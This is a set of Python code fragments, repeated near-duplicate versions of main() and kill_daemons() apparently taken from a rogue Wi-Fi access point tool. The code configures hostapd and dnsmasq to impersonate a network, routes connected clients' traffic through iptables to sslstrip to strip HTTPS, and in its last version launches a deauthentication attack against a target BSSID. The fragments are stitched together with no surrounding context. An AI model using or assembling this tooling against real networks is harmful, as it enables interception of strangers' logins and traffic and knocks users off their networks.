def main(): configs = set_configs() display_configs(configs) kill_daemons() hostapd = utils.HostAPD.get_instance() iptables = utils.IPTables.get_instance() dnsmasq = utils.DNSMasq.get_instance() # bring up ap interface utils.bash_command('ifconfig %s down' % configs['upstream']) utils.bash_command('ifconfig %s 10.0.0.1/24 up' % configs['upstream']) # configure dnsmasq print '[*] Configuring dnsmasq' dnsmasq.configure(configs['upstream'], '10.0.0.10,10.0.0.250,12h', dhcp_options=[ '3,10.0.0.1', '6,10.0.0.1' ]) # configure hostpad print '[*] Configuring hostapd' hostapd.configure(configs['upstream'], configs['ssid'], configs['channel']) # enable packet forwarding print '[*] Enabling packet forwarding.' utils.enable_packet_forwarding() print '[*] Configuring iptables to route packets to sslstrip' iptables.route_to_sslstrip(configs['phys'], configs['upstream']) try: # launch access point print '[*] Starting dnsmasq.' dnsmasq.start() print '[*] Starting hostapd.' hostapd.start() except KeyboardInterrupt: print '\n\n[*] Exiting on user command.' # restore everything print '[*] Stopping dnsmasq.' dnsmasq.stop() print '[*] Stopping hostapd.' hostapd.stop() print '[*] Restoring iptables.' iptables.reset() print '[*] Disabling packet forwarding.' utils.disable_packet_forwarding()
def kill_daemons(): print '[*] Killing existing dnsmasq and hostapd processes.' print utils.bash_command('killall dnsmasq') utils.bash_command('killall hostapd') print print '[*] Continuing...'
def kill_daemons(): print("[*] Killing existing dnsmasq and hostapd processes.") utils.bash_command("killall dnsmasq") utils.bash_command("killall hostapd") print("[*] Continuing...")
def main(): configs = set_configs() display_configs(configs) kill_daemons() hostapd = utils.HostAPD.get_instance() iptables = utils.IPTables.get_instance() dnsmasq = utils.DNSMasq.get_instance() # bring up ap interface utils.bash_command('ifconfig %s down' % configs['upstream']) utils.bash_command('ifconfig %s 10.0.0.1/24 up' % configs['upstream']) # configure dnsmasq print '[*] Configuring dnsmasq' dnsmasq.configure(configs['upstream'], '10.0.0.10,10.0.0.250,12h', dhcp_options=['3,10.0.0.1', '6,10.0.0.1']) # configure hostpad print '[*] Configuring hostapd' hostapd.configure(configs['upstream'], configs['ssid'], configs['channel']) # enable packet forwarding print '[*] Enabling packet forwarding.' utils.enable_packet_forwarding() print '[*] Configuring iptables to route packets to sslstrip' iptables.route_to_sslstrip(configs['phys'], configs['upstream']) try: # launch access point print '[*] Starting dnsmasq.' dnsmasq.start() print '[*] Starting hostapd.' hostapd.start() except KeyboardInterrupt: print '\n\n[*] Exiting on user command.' # restore everything print '[*] Stopping dnsmasq.' dnsmasq.stop() print '[*] Stopping hostapd.' hostapd.stop() print '[*] Restoring iptables.' iptables.reset() print '[*] Disabling packet forwarding.' utils.disable_packet_forwarding()
def main(): configs = set_configs() display_configs(configs) kill_daemons() hostapd = utils.HostAPD.get_instance() iptables = utils.IPTables.get_instance() dnsmasq = utils.DNSMasq.get_instance() utils.bash_command('ifconfig %s down' % configs['upstream']) utils.bash_command('ifconfig %s 10.0.0.1/24 up' % configs['upstream']) print '[*] Configuring dnsmasq' dnsmasq.configure(configs['upstream'], '10.0.0.10,10.0.0.250,12h', dhcp_options=[ '3,10.0.0.1', '6,10.0.0.1' ]) print '[*] Configuring hostapd' hostapd.configure(configs['upstream'], configs['ssid'], configs['channel']) print '[*] Enabling packet forwarding.' utils.enable_packet_forwarding() print '[*] Configuring iptables to route packets to sslstrip' iptables.route_to_sslstrip(configs['phys'], configs['upstream']) try: print '[*] Starting dnsmasq.' dnsmasq.start() print '[*] Starting hostapd.' hostapd.start() while(1): continue except KeyboardInterrupt: rest(dnsmasq, hostapd, iptables) print '\n\n[*] Exiting on user command.'
def main(): configs = set_configs() display_configs(configs) kill_daemons() hostapd = utils.HostAPD.get_instance() iptables = utils.IPTables.get_instance() dnsmasq = utils.DNSMasq.get_instance() # bring up ap interface utils.bash_command("ifconfig %s down" % configs["upstream"]) utils.bash_command("ifconfig %s 10.0.0.1/24 up" % configs["upstream"]) # prepare deauth thread deauther = Thread(target=deauth.deauth,args=(BROD_MAC, configs["bssid"], configs["death"])) deauther.daemon = True # configure dnsmasq print("[*] Configuring dnsmasq") dnsmasq.configure( configs["upstream"], "10.0.0.10,10.0.0.250,255.255.255.0,12h", dhcp_options=["3,10.0.0.1", "6,10.0.0.1"], ) # configure hostpad print("[*] Configuring hostapd") hostapd.configure(configs["upstream"], configs["ssid"], configs["channel"]) # enable packet forwarding print("[*] Enabling packet forwarding.") utils.enable_packet_forwarding() print("[*] Configuring iptables to route packets to sslstrip") iptables.route_to_sslstrip(configs["phys"], configs["upstream"]) try: # launch access point print("[*] Starting dnsmasq.") dnsmasq.start() print("[*] Starting hostapd.") hostapd.start() print("[*] Starting deauth attack.") deauther.start() deauther.join() except KeyboardInterrupt: deauther.do_run = False deauther.join() print("\n\n[*] Exiting on user command.") # restore everything print("[x] Terminating.") print("[*] Stopping dnsmasq.") dnsmasq.stop() print("[*] Stopping hostapd.") hostapd.stop() print("[*] Restoring iptables.") iptables.reset() print("[*] Disabling packet forwarding.") utils.disable_packet_forwarding() kill_daemons()